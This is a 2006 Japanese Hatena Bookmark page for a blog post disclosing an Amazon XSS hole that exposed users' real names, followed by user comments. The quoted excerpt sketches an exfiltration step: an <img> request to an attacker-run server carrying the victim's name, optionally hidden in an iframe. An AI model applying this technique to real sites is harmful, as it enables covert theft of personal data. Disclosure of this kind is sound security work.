はてなブックマーク - 本名吸い取り機 (AMAZON XSS)

本名吸い取り機 (AMAZON XSS) :: ぼくはまちちゃん！

mxxi.hamachiya.com

タグ : Security Amazon セキュリティはまちちゃん XSS web javascript これはひどい脆弱性ネット

コンピュータ・IT 113 users

↓これ超おすすめマンガなんです！！！うそだけど！ ( 修正がはいりました。もう動きません ) 取得後 alert のかわりに、自前で用意したサーバーに <img src="http://自前サーバー/?本名"> かなんかでリクエストするようにしといて、その後、適当な書籍にリダイレクトさせたりすれば…！本名吸い取り機のできあがり！こわいね＞＜リンクじゃなくて iframe とかにしちゃえば、へんなの踏ませる必要すらないよ！ (ちょっとだけ解説) ↓url デコードするとこう http://www.a... > このページを見る

最終更新時間: 2006年05月18日17時45分

▼ブログで紹介する

みんなのブックマーク人気（0）新着

webmarksjp amazon, セキュリティ, security, web
はまちちゃん 2008/07/14
makou security
うーん…。 2007/03/23
montbranc
人気はてぶ 2006/05/20
debedebe
この間はごめん！！やっぱりはまちちゃんすごいや。 2006/05/20
another
やっぱりはまちちゃんには破壊力がないとね。 2006/05/19
denken はまちちゃん, amazon, XSS, 脆弱性, セキュリティ, これはひどい, javascript
むはー 2006/05/19
garamani1983 web
エントリとは関係ないけど俺、ずっと「僕は、マチちゃん。」だと思ってた。「僕、ハマチちゃん。」だったのね？ 2006/05/19
linden web, security
怖くて踏めません 2006/05/19
hiby web, security
うへぇ 2006/05/19
kkobayashi javascript
おー、amazonかあ・・・ 2006/05/19
akkun_choi security
ふご！吸い取られたー 2006/05/19
connolly
ぎにゃー／アカウントは本名を登録しないように→配送先のみで／尼のサインアウトは分かりにくいな… 2006/05/19
soba_taro これはひどい
こ、これは…。 2006/05/19
wepon *ウェブ, セキュリティ, アマゾン
ログアウトしていてもレビューを書いていたりするとAWSで名前が取得可能だったはず。アカウント名は仮名で登録しておくこと。本名は配送先のみで使う。 2006/05/19
penalty amazon
こわ。かといって、ヘビーユーザーには毎回ログインはきつい。 2006/05/19
mind ないしょ(内輪), キャラ(擬人)型, 記号(image), あぶない|緊張|セキュ, 9.network, つきあい|コミュ|組織, Opera
――もう、必要な時/場所以外はcookie使わない方が良いよ。Operaで制御しときなー 2006/05/19
drk7jp xss
amazonでxssあるみたい。cookieから本名さらされた 2006/05/19
zhenyan セキュリティ, security
FireFoxだから、大丈夫と思って踏んだが、やられてしまった。 2006/05/19
daddyscar はまちちゃん, セキュリティ
怖いもの見たさ… 2006/05/19
kugibatto
今度はoperaでも動いたよ 2006/05/19